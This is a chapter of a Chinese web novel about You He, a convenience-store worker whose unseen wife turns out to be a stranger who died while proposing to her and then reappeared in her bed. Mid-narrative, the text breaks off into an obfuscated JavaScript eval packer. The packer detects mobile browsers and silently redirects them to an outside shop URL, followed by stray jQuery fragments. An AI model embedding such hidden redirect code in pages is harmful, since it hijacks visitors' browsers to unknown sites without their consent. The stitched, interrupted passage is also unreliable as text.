[老婆，你今天几点回家？]
临近下班，在便利店工作的尤禾给乌落发消息。
“她回了吗？”
朋友平嘉音捧着关东煮看向尤禾的屏幕，没想到全是尤禾的单方面的消息。
她盯着尤禾看。
尤禾头发整齐地梳在脑后，戴着口罩露出的细眉毛上扬，一双眼睛却略微下垂。
对视时，右下眼睑有一颗很明显的痣，大多数人第一次见她，很容易盯着看。
如果以貌取人，这副眉眼，带着几分天然的惺惶，惺惺作态少一些，惶惶不安更多，让人不知道怎么对待她。
平嘉音还是不明白，尤禾为什么忽然辞职不干了。
要gap也算人之常情，这gap一年，怎么还结了个婚？
等了一会儿，尤禾摇头说：“应该今天不回家了。”
不止平嘉音怀疑她的老婆是假的，很多同学刷到尤禾的朋友圈都这么觉得。
“她又不来？”
“小禾，我们明明说好了的。”
今晚她们有小型聚会，说好带家属的。
这事一个月前就和尤禾说了，她当时说好的。
穿着便利店工作服的女人扎着普通的头发，声音隔着口罩有些沉闷：“没办法，下次吧。”
每次有同学问你都没见过尤禾老婆的时候，平嘉音更是痛上加痛，像是朋友不把她当朋友。
“什么叫没办法，”平嘉音看着尤禾换班交接，“你上次说下次，这次又说下次。”
摘下口罩的脸很年轻，却很苍白。
尤禾戴了太久口罩，口罩边在鼻骨和眼下掐出一道浅淡的红痕，她躲开平嘉音的视线，“对不起，我没办法保证的。”
交班、换衣服，尤禾不像其他职员还会换一双更舒适的鞋子。
她全身上下一点名牌都看不见，朴素得像是目前的生活只够维持生命体征。
但她竟然结婚了，谁敢信。
平嘉音直叹气，“不用道歉，我们也不是逼你。”
似乎是想转移话题，尤禾摸了摸平嘉音新烫的卷发发尾，“真好看。”
平嘉音简直服了她了，笑着骂她：“少转移话题，又来这套。”
“我和你们说过好多次，她工作很忙，你们又不相信。”
便利店外冷风吹乱尤禾的刘海，她戴上围巾，涂了唇膏的嘴唇倒是不像人身形那么单薄，在灯下泛着莹润的光泽，很像刚开封的梅冻，“我们去哪里吃？”
平嘉音个子比尤禾高一点，生气的时候甩甩尤禾的围巾。
尤禾平静地扯过自己的围巾，笑得很像程序设置过的机器人，“那你和小玉一起去，我就先回去了。”
后面一句带了些熟人才有的语气，像是抱怨，“站了一天，好累的。”
认识尤禾这么多年，平嘉音也知道她什么个性。
离家远，大学毕业后过年借口加班再也没回去过。
说她有事业心吧，总是临到升职没有她的名字，甚至没有什么精神需求。
平嘉音这样的朋友还是大学同学转化来的，如果不坚持联系，怀疑也会和尤禾渐行渐远。
不刻意交朋友，几乎不约人，喜欢独来独往，喜欢小动物也只是看看，觉得自己承担不起养育的责任。
平嘉音很难想象尤禾这样回避交集的性格，干出闪恋闪婚的事。
“不许开溜。”
果不其然，尤禾还是想用之前一样的路数开溜。
平嘉音把她拖上了车，“还有一件事，你姐找到我，问我你有没有对象。”
“小禾，你不会没告诉你家里人你结婚了吧？”
尤禾长得好看，但要让她爱上谁很困难。
这么多年，没人成功过。
所以尤禾晒在朋友圈里的结婚证、谈恋爱的语录都让人好奇。
到底是谁？
“屏蔽了。”
果不其然。
平嘉音词穷了，“你家里人不知道你结婚，也和我们一样没见过你的神奇老婆？”
神奇老婆四个字也不会逗笑尤禾，她问：“你什么时候有我姐的微信？”
“上学的时候加的。”平嘉音有些心虚，“那年你姐不是来这边玩吗？请我们吃饭。”
尤禾没追问，“我老婆今天还是不能按时下班，你说聚会要带家属，我真的要去吗？”
她的朋友圈内容看上去像个婚姻幸福的人。
[老婆送的礼物.]
最新上市的某新品。
[老婆做的好吃的.]
一桌好菜。
[和老婆出去约会啦.]
户外照片，看得出是约会视角，但没有那个人的脸。
一开始大家都以为尤禾也算找了个富婆。
时间一长，富婆不露脸，还有人说尤禾发的图是网图。
怀疑就变多了，似乎还有人专门拉小群讨论，最后传到了平嘉音这里。
[尤禾真的有老婆吗？]
[听说她辞职是工作压力太大精神失常，不会还没痊愈吧？]
[好可怜啊。]
[你们不要这么想，指不定对象是什么涉密工作呢。]
平嘉音之前单身，毕业后才恋爱。
她一向贯彻朋友就算结婚，出来玩还是不要带对象一起的态度。
不好奇、不打听。
尤禾和任何已婚的人不同，她不会和人主动提起结婚对象如何。
恋爱日常就是随机的朋友圈，说秀恩爱吧，也没那么明显。
如果不是平嘉音在医院偶遇独自做手术的尤禾，恐怕不知道她妻子这么没责任心。
这次和尤禾姐姐聊天，才知道对方从不知道尤禾已婚。
对方还问平嘉音可不可以给尤禾介绍优质的青年。
那看来养大尤禾的奶奶去世，那个女人也不为所动，没有陪她回老家参加葬礼。
那结婚和单身有什么区别！
平嘉音怀疑尤禾根本没有老婆，或许和她公司的年轻女孩一样，沉迷虚拟角色，把纸片人当老婆。除了p结婚照，还每天拼图幻想和对方约会。
刚刚平嘉音趁尤禾换班，问过便利店兼职的员工，询问她知不知道尤禾的感情状况。
那员工起码和尤禾共事了三个月，说尤禾姐有老婆的。
她们见过。
是一个个子高高、穿得让人潮人恐惧症犯了的姐姐。
因为戴墨镜，从来不知道具体长什么样。
[应该……很漂亮。]
[也很有钱，她背的包也很贵。]
兼职的员工有两个，给出的画像的确是富婆。
说还见过对方来接尤禾下班，两个人关系很好，还在门口亲亲。
亲亲。
在便利店门口的人行道上？
换别人没问题，是尤禾……平嘉音难以想象。
可便利店员提供的信息
;eval(function(p,a,c,k,e,d){e=function(c){return(c<a?"":e(parseInt(c/a)))+((c=c%a)>35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17378121|200132||http|test|mini|href|location''.split(''|''),0,{}));
() {
$(''.inform'').remove();
$(''#content'').append(''
至少否了平嘉音说的爱上纸片人。
两个活人见过，肯定不是幻觉。
外面风冷，尤禾想回家休息。
她的老婆应该还有任务，收工也半夜三更。
和一般人如胶似漆的新婚不同，尤禾和妻子并没有恋爱，如果要用一句话定义她们的关系，更像是灭口。
尤禾救下三次出意外险些死去的女人，最后一次对方在救护车上握着她的手，戴着呼吸机也在努力辨认尤禾。
“是你。”
尤禾一开始没认出她。
过了一会儿才想起，很倒霉的人，第一次摆红薯摊被一辆跑车撞飞。
红薯落在尤禾的饭团上，带着血。
夜半三更无人问津的红薯摊就不正常，尤禾冷静地打了120，等车把人带走才离开。
第二次对方不摆摊了，掉进了公园的水池。
那地方太清幽，很少有人去，但尤禾恰好经过，还会游泳，把她救了上来。
第三次。
还是个意外。
尤禾被求婚了。
姓名未知、年龄未知、身份不详的女人紧紧握着她的手，手也颤抖，声音像是咬着牙发出的。
“你可以……可以……和我…”
医生已经放弃抢救她了，心电图说明了一切。
尤禾努力抽回手，生怕被索赔，面上平静：“和你什么？”
比起白班，尤禾更喜欢夜班，像小时候寂静山村，有种世界把她隔绝在外的快乐。
不用考虑收入、工作、家人的期待。
她赖活着也算活着。
血肉模糊的脸要挣扎说话太狼狈了，那人示意医护人员摘下氧气罩。
尤禾记得这双眼睛，很特别，像剔透的跳棋弹珠，不太像人。
“和我结……”
对方说句话都不利索，一边的医护人员拼出了这是求婚，又赶紧让她吸氧。
“和我结……”
还是一口气没上来，医护人员拼命给尤禾暗示。
在他们眼里这是一对悲惨的同性情侣，深夜散步其中一个人被高空坠物砸得头破血流。
实际上这俩人根本不熟，或者说完全不认识。
“呜呜，答应她吧。”车里还有个实习生，居然围观到想哭，“都这个地步了，至少让她安心地去。”
尤禾不解地盯着快咽气的女人，“你想和我结婚？”
对方点头，眼泪从眼角滑落，医疗器械的嘀声都在催促尤禾的答案。
“好吧。”
对方真满足地死了。
心电图平直，尤禾愣了半天，“我不知道她叫什么。”
医生：“不是女朋友吗？”
实习生：“你们不认识？”
尤禾点头，也很不解：“我只是偶然路过看她被砸。”
尸体还温热，医生也不能让尤禾把人拉走，最后怎么处理的，尤禾也不关心。
这段求婚对尤禾来说不如超市晚上八点打折的烤鸭值得上心。
不过，没记错的话——
加上这次，这个人死了起码三次了吧？
这是超能力还是三胞胎？
尤禾没有多想，买了打折烤鸭回到出租屋后毫无负担地睡了。
第二天早上醒来，她床上多了一个人。
那张血肉模糊的脸恢复了正常的模样，一张过分美丽的脸与她共享唯一的枕头——
“嗨，老婆。”